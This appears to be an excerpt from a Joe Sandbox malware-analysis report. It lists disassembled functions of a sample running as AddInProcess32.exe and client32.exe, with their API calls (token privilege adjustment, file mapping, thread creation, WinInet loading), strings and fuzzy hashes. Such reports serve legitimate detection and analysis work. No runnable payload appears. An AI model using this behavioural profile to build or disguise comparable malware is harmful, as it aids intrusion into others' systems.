CallUnexpected.LIBVCRUNTIME ref: 00409055

Strings

csm, xrefs: 00408D65
csm, xrefs: 00408E11
csm, xrefs: 00408CF8

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 8e68faa92370a965529a53a4b1aa1c85c9262d97b1e5eff1d9fa127d797ae8c1
Instruction ID: 7b7edcd1b472d616056aaf9ca5440520e9f3ce2695b85cf96550e61ac8a8a294
Opcode Fuzzy Hash: 8e68faa92370a965529a53a4b1aa1c85c9262d97b1e5eff1d9fa127d797ae8c1
Instruction Fuzzy Hash: 24B18C71900209DFCF15DFA5CA809AEBBB5BF24314B14416FE8847B292DB38DE51CB99

Function 00408540 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00408577
___except_validate_context_record.LIBVCRUNTIME ref: 0040857F
_ValidateLocalCookies.LIBCMT ref: 00408608
__IsNonwritableInCurrentImage.LIBCMT ref: 00408633
_ValidateLocalCookies.LIBCMT ref: 00408688

Strings

csm, xrefs: 0040861D
Fx@, xrefs: 0040864C

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: Fx@$csm
API String ID: 1170836740-2757198800
Opcode ID: d5ac8604d01ac333208a0c338073ae2a7e5e8417fecfc79e808da464ea9234f0
Instruction ID: 4b04f8770cba5fb961b9531c7f3f38ae8059c37cde7f09dcab7eeb7c3de7790a
Opcode Fuzzy Hash: d5ac8604d01ac333208a0c338073ae2a7e5e8417fecfc79e808da464ea9234f0
Instruction Fuzzy Hash: F441B434A00208ABCF10DF69CD80A9F7BB5AF45318F14856EE8547B3D2DB399E05CB99

Function 0040E03E Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0040E0C4

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: bae61aaf466f51dc2cfca6d4b3cb37822215d39356c954e04fc30a487091a812
Instruction ID: a4d7e44a4c022d8882bf4dd48d55e7a8210e846d2bdd9f8f1f0772ce1768a2f9
Opcode Fuzzy Hash: bae61aaf466f51dc2cfca6d4b3cb37822215d39356c954e04fc30a487091a812
Instruction Fuzzy Hash: EBB14772A002559FDB118F66CC81BAF7BA5EF55310F1845BBE900BB3C2D6789911C7A8

Function 004111E3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,004112F2,A2C859C2,0000044C,00000000,00000000,?,?,0041144C,00000022,FlsSetValue,0041B244,0041B24C,00000000), ref: 004112A4

Strings

ext-ms-, xrefs: 0041124E
api-ms-, xrefs: 0041123A

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 13a807f08e4b2fbc4e7545eb37dd9819c29e6cd604fa78f32b9a5c44f0425b79
Instruction ID: c0ad62dc533ac1c9702fca9f15d615497be0f29348a61bc39096ef7b92af5ca6
Opcode Fuzzy Hash: 13a807f08e4b2fbc4e7545eb37dd9819c29e6cd604fa78f32b9a5c44f0425b79
Instruction Fuzzy Hash: 77213571A00111ABDB219B64EC41ADB3768DF11760B2441B2EE01F33E0E738EE41C6E8

Function 0040D007 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,A2C859C2,?,?,00000000,0041861B,000000FF,?,0040CFE3,0040D0C7,?,0040CFB7,00000000), ref: 0040D03C
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040D04E
FreeLibrary.KERNEL32(00000000,?,?,00000000,0041861B,000000FF,?,0040CFE3,0040D0C7,?,0040CFB7,00000000), ref: 0040D070

Strings

Fx@, xrefs: 0040D05F
CorExitProcess, xrefs: 0040D046
mscoree.dll, xrefs: 0040D035

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$Fx@$mscoree.dll
API String ID: 4061214504-3622240814
Opcode ID: 1dd3a9f09780d5505d8a5deabc52c5b76dbfc48eb79c1825561cdbebbcdc7d9a
Instruction ID: 1e0bd15e481942e97fccbb05080ab9fff33d04de5ccb01f5a471313bdd3020fe
Opcode Fuzzy Hash: 1dd3a9f09780d5505d8a5deabc52c5b76dbfc48eb79c1825561cdbebbcdc7d9a
Instruction Fuzzy Hash: 4701A771D44615BBDB118F90DC09FEE77B8FB44B14F004536E811A26D0DB789D41CA94

Function 00408984 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040897B,004084E3,00407A61), ref: 00408992
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 004089A0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004089B9
SetLastError.KERNEL32(00000000,0040897B,004084E3,00407A61), ref: 00408A0B

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 8132ab8049597a0f0152600f2776cfcb933c90011c11b07c1ff3681c1354b7b8
Instruction ID: 43b54b935d4b9e744eb9404515c8c9fd3ba714462d7fc6ace75c42498f54b02a
Opcode Fuzzy Hash: 8132ab8049597a0f0152600f2776cfcb933c90011c11b07c1ff3681c1354b7b8
Instruction Fuzzy Hash: C901F172718321AEE62426B57E86A372B98FB01778320023FF250711E2EE7A5C02964D

Function 00408A64 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00408B2B
___AdjustPointer.LIBCMT ref: 00408B4E
___AdjustPointer.LIBCMT ref: 00408BEA

Strings

Fx@, xrefs: 00408AC3

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: AdjustPointer
String ID: Fx@
API String ID: 1740715915-443324942
Opcode ID: f356ca3b56f828ee56c995e93dcfd931e3dc3b5137f2536b59d7325e1164e694
Instruction ID: 1a91d038004f6b70e2135f66d810801dd4f272973a1585a6dedaf1d3ec640edd
Opcode Fuzzy Hash: f356ca3b56f828ee56c995e93dcfd931e3dc3b5137f2536b59d7325e1164e694
Instruction Fuzzy Hash: C351C1B26057069FDB288F11DA41B6B77B4EF50310F14403FE982672D2DB39AD41CB99

Function 004145D0 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00414655
__alloca_probe_16.LIBCMT ref: 0041471E
__freea.LIBCMT ref: 00414785

Part of subcall function 0040DC7F: RtlAllocateHeap.NTDLL(00000000,00000000,00000000,?,0040718C,00000000,?,00406E07,0000044C,A2C859C2,7591F380,00000000,00000000,000000FF,?,004014D5), ref: 0040DCB1

__freea.LIBCMT ref: 00414798
__freea.LIBCMT ref: 004147A5

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 1a80283c2e70fa09d16cf5d20edefe239e97a8433d9138ed18d4ed888f15a10c
Instruction ID: f3167d8e0243dde5af78ebf6985aeb94451484d05d6fe71b4df8962cd1e256b5
Opcode Fuzzy Hash: 1a80283c2e70fa09d16cf5d20edefe239e97a8433d9138ed18d4ed888f15a10c
Instruction Fuzzy Hash: 2151D872600206AFDB105FA1CC81EFB77A9EFC5714B29012EFD18D6290EB7CCC918668

Function 00409AA2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00409A53,00000000,?,00422CE0,?,?,?,00409BF6,00000004,InitializeCriticalSectionEx,00419D38,InitializeCriticalSectionEx), ref: 00409AAF
GetLastError.KERNEL32(?,00409A53,00000000,?,00422CE0,?,?,?,00409BF6,00000004,InitializeCriticalSectionEx,00419D38,InitializeCriticalSectionEx,00000000,?,004099AD), ref: 00409AB9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00409AE1

Strings

api-ms-, xrefs: 00409AC6

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 887137ae3bc163b28a7465307e1ce3841d78868984676ccdf104f65e9dca045b
Instruction ID: a9cb1dfa298960d4fc1fe79fea012a7061f96a57943c0fde9da82d5a9a66ae8d
Opcode Fuzzy Hash: 887137ae3bc163b28a7465307e1ce3841d78868984676ccdf104f65e9dca045b
Instruction Fuzzy Hash: 81E01230B80205B7EF101BB1DC0AB5B3E549B01B50F108031F90CB41E2D775DC51999C

Function 00414A9D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(A2C859C2,00000000,00000000,?), ref: 00414B00

Part of subcall function 00410654: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0041477B,?,00000000,-00000008), ref: 004106B5

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00414D52
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00414D98
GetLastError.KERNEL32 ref: 00414E3B

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 60c5f054869722d532b1ea41e6caa76b28aab3d5ffe9f6e32e54c6c4c81700e4
Instruction ID: 9bc72cc52f421f30e8f6abcc0f4d52d0e1568dee037a441d4163aa1fce023b62
Opcode Fuzzy Hash: 60c5f054869722d532b1ea41e6caa76b28aab3d5ffe9f6e32e54c6c4c81700e4
Instruction Fuzzy Hash: ECD1BF75E042489FCF15CFA8D980AEDBBB5FF49304F28452AE816EB351D734A982CB54

Function 004024B0 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 004024CC
OpenProcessToken.ADVAPI32(00000000), ref: 004024D3
GetTokenInformation.ADVAPI32(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 004024F3
CloseHandle.KERNEL32(?), ref: 00402502

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 7b3405532f9736eb91037f93771a703fff670887a10e780259bd6e5a192c338a
Instruction ID: 198d9e17ccfe2a7ad384e8d2e913a2c16111d73c4ba0bcf3ee50cad862497ac3
Opcode Fuzzy Hash: 7b3405532f9736eb91037f93771a703fff670887a10e780259bd6e5a192c338a
Instruction Fuzzy Hash: 8201CD71A0021CABDB10DFA4DD59AAEBBB8FF08705F414569EA11E7190DB709E04CB98

Function 004171B6 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00416320,00000000,00000001,?,?,?,00414E8F,?,00000000,00000000), ref: 004171CD
GetLastError.KERNEL32(?,00416320,00000000,00000001,?,?,?,00414E8F,?,00000000,00000000,?,?,?,00415432,00000000), ref: 004171D9

Part of subcall function 0041719F: CloseHandle.KERNEL32(FFFFFFFE,004171E9,?,00416320,00000000,00000001,?,?,?,00414E8F,?,00000000,00000000,?,?), ref: 004171AF

___initconout.LIBCMT ref: 004171E9

Part of subcall function 00417161: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00417190,0041630D,?,?,00414E8F,?,00000000,00000000,?), ref: 00417174

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,00416320,00000000,00000001,?,?,?,00414E8F,?,00000000,00000000,?), ref: 004171FE

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 3d0c5046cf9d2e0f6704021f6f3b3043e657957f714e9acfb99967feb644a5d5
Instruction ID: b0767d8cb09f9060a6b35dd9a6a9e5853ba024826434936985c186be5aa50d1e
Opcode Fuzzy Hash: 3d0c5046cf9d2e0f6704021f6f3b3043e657957f714e9acfb99967feb644a5d5
Instruction Fuzzy Hash: 21F0AC36505114BBCF226F95EC04ADA3F76FF093A1F558165FA1895230CA72CC61DB98

Function 0040C7EF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 121COMMON

Download Yara Rule

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, xrefs: 0040C82D, 0040C834, 0040C851, 0040C866, 0040C89E
h-B, xrefs: 0040C83C

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe$h-B
API String ID: 0-3472261264
Opcode ID: c595d2888e0eb11efb4b34618ed25aba47e01962a251bf0eaadfb82c9e146fa7
Instruction ID: fa767d83c2e4f49978a6e0558d888f3b8fd6f7704c6049fb9866f05cc0fb7e2c
Opcode Fuzzy Hash: c595d2888e0eb11efb4b34618ed25aba47e01962a251bf0eaadfb82c9e146fa7
Instruction Fuzzy Hash: A531A572E04214EFDB21EF9598C199FBBB8EB48354B50417BF805B7281DA788E05CB9C

Function 00409060 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00409085

Strings

MOC, xrefs: 00409097
RCC, xrefs: 0040909F

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f38d9cb25aa6dfc8a72ca3406d5f2338f5c32c31393292f4011166daf61a950d
Instruction ID: 4ac13803e4d5ca742f2069cf5601cbd93e777c9f887da7f4d15751ecf4808dc5
Opcode Fuzzy Hash: f38d9cb25aa6dfc8a72ca3406d5f2338f5c32c31393292f4011166daf61a950d
Instruction Fuzzy Hash: D241BA71A0020AAFDF16CF94CD81AEEBBB1BF48304F1480AAF9057B292D3399D51DB55

Function 00406F60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00406FA8
___raise_securityfailure.LIBCMT ref: 00407090

Strings

X)B, xrefs: 0040708B

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: X)B
API String ID: 3761405300-1098520909
Opcode ID: 7660bb6e8ad02ded4dac60b132e9aeee3ab913c4838ec0a0fbf2420198f39870
Instruction ID: edf480fd9900d96946d1fb7b902f312f2e1ee033d1a97d8879616f167246f57c
Opcode Fuzzy Hash: 7660bb6e8ad02ded4dac60b132e9aeee3ab913c4838ec0a0fbf2420198f39870
Instruction Fuzzy Hash: 6421BFB5701305AAE734CF15FA86A617BA4BB08354F90503AE5099AEB0D3F49A92CF4D

Function 004070A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004070AE
___raise_securityfailure.LIBCMT ref: 0040716B

Strings

X)B, xrefs: 00407166

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: X)B
API String ID: 3761405300-1098520909
Opcode ID: 4ca52ba7993b1bf8668e0bc1dcae837b018e0a703b76ddd744c5681627d506fe
Instruction ID: 539942d66ec76249163cc16820ef38eeed5544e5010e9a3f47c3daf008d588c5
Opcode Fuzzy Hash: 4ca52ba7993b1bf8668e0bc1dcae837b018e0a703b76ddd744c5681627d506fe
Instruction Fuzzy Hash: 34119CB5B11245ABDB34CF15EA856517BA4BB08340B80603AE80997FB0E7F09A97CF4D

Function 00411472 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,0040F3AB), ref: 004114B2

Strings

InitializeCriticalSectionEx, xrefs: 00411482
Fx@, xrefs: 004114A2

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: Fx@$InitializeCriticalSectionEx
API String ID: 2593887523-448776849
Opcode ID: e87d91127952a8dc22b5428e2afc5b15bddff06ead816acb92f64444e91ac5d6
Instruction ID: 8c4a806392b081a594d943fa2f9f988a49f1e782b074da32be5c716ced234856
Opcode Fuzzy Hash: e87d91127952a8dc22b5428e2afc5b15bddff06ead816acb92f64444e91ac5d6
Instruction Fuzzy Hash: 50E09235580229BBCB122F41EC19EDE3F11EF40BA0B158022FE1C15171C77A8CA1D6DC

Function 00411373 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 004113A7

Strings

Fx@, xrefs: 0041139D
FlsAlloc, xrefs: 00411383

Memory Dump Source

Source File: 00000004.00000002.2879994895.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc$Fx@
API String ID: 2773662609-214802781
Opcode ID: 5dae29d0728023c45b54f6ed28715b5773cd5894d0ff809e6f4c406c58bfbcff
Instruction ID: 5cd6a7e703b151d4c349517ca756f394920c3fd9b28e445f9c2919a88c313ee0
Opcode Fuzzy Hash: 5dae29d0728023c45b54f6ed28715b5773cd5894d0ff809e6f4c406c58bfbcff
Instruction Fuzzy Hash: FCE0C231A803297397112791BC0EAEE7E05CB44F60B2440B3FF2DA26A5DABA4CC155DE

Analysis Process: client32.exePID: 828, Parent PID: 2972COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	76

Executed Functions

Function 1109D240 Relevance: 100.3, APIs: 42, Strings: 15, Instructions: 501
filethreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1109C4F0: GetCurrentProcess.KERNEL32(000F01FF,?,1102FA03,00000000,00000000,00080000,B34DC9D5,00080000,00000000,00000000), ref: 1109C51D
Part of subcall function 1109C4F0: OpenProcessToken.ADVAPI32(00000000), ref: 1109C524
Part of subcall function 1109C4F0: LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109C535
Part of subcall function 1109C4F0: AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109C559

LocalAlloc.KERNEL32(00000040,00000014,SeSecurityPrivilege,?,00080000,B34DC9D5,00080000,00000000,00000000), ref: 1109D2D5
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 1109D2EE
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 1109D2F9
GetVersionExA.KERNEL32(?), ref: 1109D310
GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109D37E
SetSecurityDescriptorSacl.ADVAPI32(00000000,00000001,?,00000000), ref: 1109D393
FreeLibrary.KERNEL32(00000001,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109D3A4
CreateFileMappingA.KERNEL32(000000FF,1102FA03,00000004,00000000,?,?), ref: 1109D3E0
GetLastError.KERNEL32 ref: 1109D3ED
LocalFree.KERNEL32(?), ref: 1109D416
LocalFree.KERNEL32(?), ref: 1109D423
GetLastError.KERNEL32 ref: 1109D440
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00000000), ref: 1109D45E
LocalFree.KERNEL32(?), ref: 1109D489
LocalFree.KERNEL32(?), ref: 1109D496

Part of subcall function 1109C460: LoadLibraryA.KERNEL32(Advapi32.dll,00000000,1109D32E), ref: 1109C468

Part of subcall function 1109C4A0: GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorA), ref: 1109C4B4

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109D4C2
LocalFree.KERNEL32(?), ref: 1109D58B
LocalFree.KERNEL32(?), ref: 1109D598
_memset.LIBCMT ref: 1109D5B0
GetTickCount.KERNEL32 ref: 1109D5B8
GetCurrentProcessId.KERNEL32 ref: 1109D664
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109D67F
CreateEventA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?), ref: 1109D6CB
GetLastError.KERNEL32 ref: 1109D6D4
GetLastError.KERNEL32(00000000), ref: 1109D6DB
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109D710
GetLastError.KERNEL32 ref: 1109D719
GetLastError.KERNEL32(00000000), ref: 1109D720
CreateEventA.KERNEL32(?,00000001,00000000,?), ref: 1109D756
GetLastError.KERNEL32 ref: 1109D75F
GetLastError.KERNEL32(00000000), ref: 1109D766
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109D79B
GetLastError.KERNEL32 ref: 1109D7AA
GetLastError.KERNEL32(00000000), ref: 1109D7AD
LocalFree.KERNEL32(?), ref: 1109D7D5
LocalFree.KERNEL32(?), ref: 1109D7E2
GetCurrentThreadId.KERNEL32 ref: 1109D813
CreateThread.KERNEL32(00000000,00002000,Function_0009CDD0,00000000,00000000,00000030), ref: 1109D82D
ResetEvent.KERNEL32(?), ref: 1109D85C
ResetEvent.KERNEL32(?), ref: 1109D862
ResetEvent.KERNEL32(?), ref: 1109D868
SetEvent.KERNEL32(?), ref: 1109D86E

Strings

S:(ML;;NW;;;LW), xrefs: 1109D338
Error cant map view, xrefs: 1109D46B
Error filemap exists, xrefs: 1109D56D
cant create events, xrefs: 1109D8A4
Cant create event %s, e=%d (x%x), xrefs: 1109D6E9, 1109D72E, 1109D774, 1109D7B7
Error creating filemap (%d), xrefs: 1109D3F4
cant create filemap, xrefs: 1109D425
map exists, xrefs: 1109D59A
SeSecurityPrivilege, xrefs: 1109D2AA
cant create thread, xrefs: 1109D83A
IPC(%s) created, xrefs: 1109D878
cant map, xrefs: 1109D498
warning map exists, xrefs: 1109D540
Error cant create events, xrefs: 1109D897
Info - reusing existing filemap, xrefs: 1109D529

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$FreeLocal$Event$Create$DescriptorFileSecurity$CurrentProcessReset$LibraryModuleNameSaclThreadToken$AddressAdjustAllocCountDaclInitializeLoadLookupMappingOpenPrivilegePrivilegesProcTickValueVersionView_memset
String ID: Cant create event %s, e=%d (x%x)$Error cant create events$Error cant map view$Error creating filemap (%d)$Error filemap exists$IPC(%s) created$Info - reusing existing filemap$S:(ML;;NW;;;LW)$SeSecurityPrivilege$cant create events$cant create filemap$cant create thread$cant map$map exists$warning map exists
API String ID: 3291243470-2792520954
Opcode ID: 2773d804223ff8e0a2aa968baca401bea7f470192e3e967c4d90a613c88c9993
Instruction ID: 1c086480991888a7e74c242cefb21caf9cc7b937459cab308f9abb1f8f7b4179
Opcode Fuzzy Hash: 2773d804223ff8e0a2aa968baca401bea7f470192e3e967c4d90a613c88c9993
Instruction Fuzzy Hash: 7F1282B5E402599FDB20DF65CCD4EAEB7F9BB88308F0089A9E14D97240D771A984CF61

Function 11029200 Relevance: 88.0, APIs: 38, Strings: 12, Instructions: 534
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(WinInet.dll,B34DC9D5,759223A0,?,00000000), ref: 11029235
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 110292CF
SetLastError.KERNEL32(00000078), ref: 110292E3
_malloc.LIBCMT ref: 11029307
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11029321
GetLastError.KERNEL32 ref: 11029342
_free.LIBCMT ref: 1102934E
_malloc.LIBCMT ref: 11029357
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11029371
GetProcAddress.KERNEL32(?,InternetOpenA), ref: 110293AB
InternetOpenA.WININET(11190240,?,?,000000FF,00000000), ref: 110293CA
SetLastError.KERNEL32(00000078), ref: 110293D4
SetLastError.KERNEL32(00000078), ref: 110293E1
SetLastError.KERNEL32(00000078), ref: 110293EB
_free.LIBCMT ref: 110293F5

